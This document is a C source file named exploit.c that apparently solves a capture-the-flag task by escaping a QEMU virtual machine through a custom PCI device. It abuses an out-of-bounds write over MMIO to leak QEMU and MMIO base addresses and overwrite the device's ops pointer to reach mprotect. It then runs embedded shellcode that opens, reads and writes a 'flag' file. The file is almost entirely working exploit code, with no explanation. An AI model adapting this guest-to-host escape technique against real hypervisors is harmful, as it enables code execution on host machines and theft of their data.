exploit.c

#include <fcntl.h>
#include <inttypes.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/mman.h>


#define MAX_RW 3222
#define PAGE_SIZE 0x1000

#define QUEMEMU_MMIO_OPS_OFFSET 0x14f7460
#define QUEMEMU_MMIO_OPS_INDEX 40
#define QUEMEMU_MMIO_OPAQUE_INDEX 41
#define QUEMEMU_MMIO_PARENT_OBJ_INDEX 30
#define QUEMEMU_MMIO_ADDRESS_INDEX 58
#define MPROTECT_PLT_OFFSET 0x31fff0


uint8_t* mmio_mem;


void mmio_write(uint32_t addr, uint32_t value) {
	*(uint32_t*) (mmio_mem + addr) = value;
}

uint32_t mmio_read(uint32_t addr) {
	return *(uint32_t*) (mmio_mem + addr);
}

void set_buff() {
	mmio_write(0x00, 0);
}

void set_base(uint32_t src) {
	mmio_write(0x4, src);
}

void set_off(uint32_t off) {
	mmio_write(0x8, off);
}

void set_src(uint32_t base) {
	mmio_write(0xc, base);
}

uint32_t get_buff() {
	return mmio_read(0x0);
}

uint32_t get_base() {
	return mmio_read(0x4);
}

uint32_t get_off() {
	return mmio_read(0x8);
}

uint32_t get_src() {
	return mmio_read(0xc);
}

uint64_t gva2gpa(void *addr) {
	uint64_t page = 0;
	int fd = open("/proc/self/pagemap", O_RDONLY);

	if (fd < 0) {
		fprintf(stderr, "[!] open error in gva2gpa\n");
		exit(1);
	}

	lseek(fd, ((uint64_t) addr / PAGE_SIZE) * 8, SEEK_SET);
	read(fd, &page, 8);

	return ((page & 0x7fffffffffffff) * PAGE_SIZE) | ((uint64_t) addr & 0xfff);
}

int main() {
	int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);

	if (mmio_fd < 0) {
		fprintf(stderr, "[!] Cannot open device\n");
		exit(1);
	}

	mmio_mem = mmap(NULL, 4 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
	
	if (mmio_mem == MAP_FAILED) {
		fprintf(stderr, "[!] mmio error\n");
		exit(1);
	}

	system("sysctl vm.nr_hugepages=32");  // Set huge page

	char *buff;
	uint64_t buff_gpa;

	while (1) {
		buff = mmap(0, 0x10 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | MAP_NONBLOCK, -1, 0);

		if (buff < 0) {
			fprintf(stderr, "[!] cannot mmap buff\n");
			exit(1);
		}

		memset(buff, 0, 0x10 * PAGE_SIZE);
		buff_gpa = gva2gpa(buff);

		if (buff_gpa + PAGE_SIZE == gva2gpa(buff + PAGE_SIZE)) {
			break;
		}
	}

	printf("[*] buff virtual address  = %p\n", buff);
	printf("[*] buff physical address = %p\n\n", (void*) buff_gpa);

	set_src(buff_gpa);
	set_base(20);
	set_off(0x7fff);

	printf("[*] base ==> %d\n", get_base());
	printf("[*] off  ==> 0x%hx\n\n", get_off());

	// modify base with OOB write
	memset(buff, 0, MAX_RW);
	buff[MAX_RW - 1] = 21;
	set_buff();

	printf("[+] base ==> %d\n\n", get_base());

	// modify off with OOB write
	set_off(0x6f6b);
	printf("[*] off  ==> 0x%hx\n\n", get_off());

	buff[MAX_RW - 4] = 0x10;
	buff[MAX_RW - 3] = 0;
	buff[MAX_RW - 2] = 0x00;
	buff[MAX_RW - 1] = 0xfe;

	set_buff();

	printf("[+] base ==> %d\n", get_base());
	printf("[+] off  ==> 0x%hx\n\n", get_off());

	get_buff();

	uint64_t* data = (uint64_t*) buff;

	uint64_t qemu_base_addr = data[QUEMEMU_MMIO_OPS_INDEX] - QUEMEMU_MMIO_OPS_OFFSET;
	uint64_t mmio_base_addr = data[QUEMEMU_MMIO_ADDRESS_INDEX] - 0xd8;
	printf("[+] qemu base address: 0x%lx\n", qemu_base_addr);
	printf("[+] mmio base address: 0x%lx\n\n", mmio_base_addr);

	// open-read-write "flag"
	uint8_t shellcode[] = { 91, 72, 49, 246, 72, 49, 192, 86, 86, 72, 199, 199, 102, 108, 97, 103, 87, 72, 137, 231, 176, 2, 15, 5, 72, 199, 194, 100, 0, 0, 0, 72, 137, 230, 137, 199, 48, 192, 15, 5, 176, 1, 72, 137, 199, 15, 5, 88, 88, 88, 83, 195 };
	memcpy(data + 0x80, shellcode, sizeof(shellcode));

	uint64_t mprotect_plt_addr = qemu_base_addr + MPROTECT_PLT_OFFSET;

	data[QUEMEMU_MMIO_OPS_INDEX] = mmio_base_addr + (70 - QUEMEMU_MMIO_PARENT_OBJ_INDEX) * 8;
	data[QUEMEMU_MMIO_OPAQUE_INDEX] = mmio_base_addr & ~0xfff;
	data[70] = mmio_base_addr + (0x80 - QUEMEMU_MMIO_PARENT_OBJ_INDEX) * 8;
	data[71] = mprotect_plt_addr;

	set_buff();

	mmio_write(0x2000, 07);
	mmio_read(0);

	close(mmio_fd);

	return 0;
}